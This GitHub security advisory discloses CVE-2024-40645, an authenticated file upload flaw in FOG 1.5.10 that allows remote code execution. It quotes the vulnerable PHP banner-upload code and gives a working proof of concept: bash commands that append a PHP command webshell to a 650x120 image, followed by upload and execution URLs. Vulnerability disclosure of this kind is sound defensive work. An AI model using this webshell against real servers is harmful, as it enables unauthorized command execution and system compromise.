Skip to content

Authenticated File Upload RCE

High
darksidemilk published GHSA-59mq-q8g5-2f4f Jul 31, 2024

Package

FOG

Affected versions

1.5.10

Patched versions

>1.5.10

Description

Summary

An improperly restricted file upload feature allows authenticated users to execute arbitrary code on the fogproject server.

Details

The Rebranding feature has a check on the client banner image requiring it to be 650 pixels wide and 120 pixels high. Apart from that, there are no checks on things like file extensions. This can be abused by appending a PHP webshell to the end of the image and changing the extension to anything the PHP web server will parse.

case 'FOG_CLIENT_BANNER_IMAGE':
$banner = filter_input(INPUT_POST, 'banner');
$set = $banner;
if (!$banner) {
self::setSetting('FOG_CLIENT_BANNER_SHA', '');
}
if (!($_FILES[$key]['name']
&& file_exists($_FILES[$key]['tmp_name']))
) {
continue 2;
}
$set = preg_replace(
'/[^-\w\.]+/',
'_',
trim(basename($_FILES[$key]['name']))
);
$src = sprintf(
'%s/%s',
dirname($_FILES[$key]['tmp_name']),
basename($_FILES[$key]['tmp_name'])
);
list(
$width,
$height,
$type,
$attr
) = getimagesize($src);
if ($width != 650) {
throw new Exception(
_('Width must be 650 pixels.')
);
}
if ($height != 120) {
throw new Exception(
_('Height must be 120 pixels.')
);
}

PoC

In a bash terminal:

sudo apt install imagemagick-6.q16 # You can always use your own 650x120 image.
convert -size 650x120 xc:white shell.jpg
cp shell.jpg shell.php
echo -e "\n<html>\n<body>\n<form method=\"GET\" name=\"<?php echo basename(\$_SERVER['PHP_SELF']); ?>\">\n<input type=\"TEXT\" name=\"cmd\" autofocus id=\"cmd\" size=\"80\">\n<input type=\"SUBMIT\" value=\"Execute\">\n</form>\n<pre>\n<?php\n    if(isset(\$_GET['cmd']))\n    {\n        system(\$_GET['cmd']);\n    }\n?>\n</pre>\n</body>\n</html>" >> shell.php

To upload the file, go to the url below and scroll down to rebranding.
http://VICTIM-IP/fog/management/index.php?node=about&sub=settings

After you've uploaded the file, navigate to the following url to run commands on the fogproject server as the www-data user.
http://VICTIM-IP/fog/management/other/shell.php?cmd=whoami

Impact

Someone with authenticated level access to the fogserver web interface will be able to execute commands as the web server system account.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2024-40645

Weaknesses

Credits